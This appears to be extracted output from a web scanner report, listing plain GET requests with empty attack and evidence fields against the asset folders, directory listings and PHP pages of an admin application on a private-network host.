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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/bootstrap2.min.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/font-awesome.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/justified-nav.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/


URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ca.js

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=D;O=D
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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=M;O=D
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=N;O=A
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=N;O=D
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=S;O=A
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/?C=S;O=D
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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.bg.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ca.js


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.es.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.hr.js

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.cs.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.da.js
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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.hr.js


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.is.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.id.js
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http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ms.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.nb.js


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.pt-BR.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.rs-latin.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.nl.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.no.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.pt-BR.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.pt.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ro.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.rs-latin.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.rs.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ru.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sk.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sl.js


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.th.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-CN.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-TW.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/style.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=1

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sv.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.sw.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.th.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.tr.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.ua.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.uk.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-CN.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/bootstrap-datetimepicker.zh-TW.js
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/style.css
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=1


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=3

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=4

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=5

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method GET

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=3
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URL http://192.168.1.10/admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=N;O=D
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap-datetimepicker.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/DT_bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/?C=S;O=A

Method GET

Attack

Evidence
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Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/bootstrap-datetimepicker.hr.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/bootstrap-datetimepicker.lt.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/bootstrap-datetimepicker.sw.js
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Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/?C=N;O=A
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=D;O=D
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=A
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=M;O=D
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=A

Method GET

Attack
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=N;O=D
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=A
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/?C=S;O=D
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.bg.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.da.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.de.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.ee.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.el.js
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URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/bootstrap-datetimepicker.es.js
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap-datetimepicker.js
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=A

Method GET

Attack

http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/bootstrap.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/DT_bootstrap.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery-1.7.2.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.dataTables.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/jquery.min.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=A
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=D;O=D
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=A


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ar.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.bg.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ca.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.cs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.da.js

Method GET

Attack

Evidence
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URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.de.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ee.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.el.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.es.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fi.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.he.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hu.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.id.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.is.js

http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.de.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ee.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.el.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.es.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fi.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.fr.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.he.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hr.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.hu.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.id.js
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.is.js


Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.it.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ja.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.kr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.lt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.lv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ms.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.nb.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.nl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.no.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.pt-BR.
js
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.pt.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ro.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.rs-
latin.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.rs.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ru.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sl.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sv.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.sw.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.th.js
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.tr.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.ua.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.uk.js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.zh-CN.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/bootstrap-datetimepicker.zh-TW.
js

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/offcanvas.css

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/reports.php
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Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=1

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=2

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=3

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=5

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_admin_report.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_asset_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_customer_archive.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_customer_monitoring.php

Method GET
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Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/print_database.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=D;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=M;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=M;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=N;O=A

Method GET

Attack
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Evidence

URL http://192.168.1.10/admin/assets/?C=N;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=S;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/?C=S;O=D

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=D;O=A

Method GET

Attack

Evidence

URL http://192.168.1.10/admin/assets/css/?C=D;O=D

Method GET

Attack

Evidence

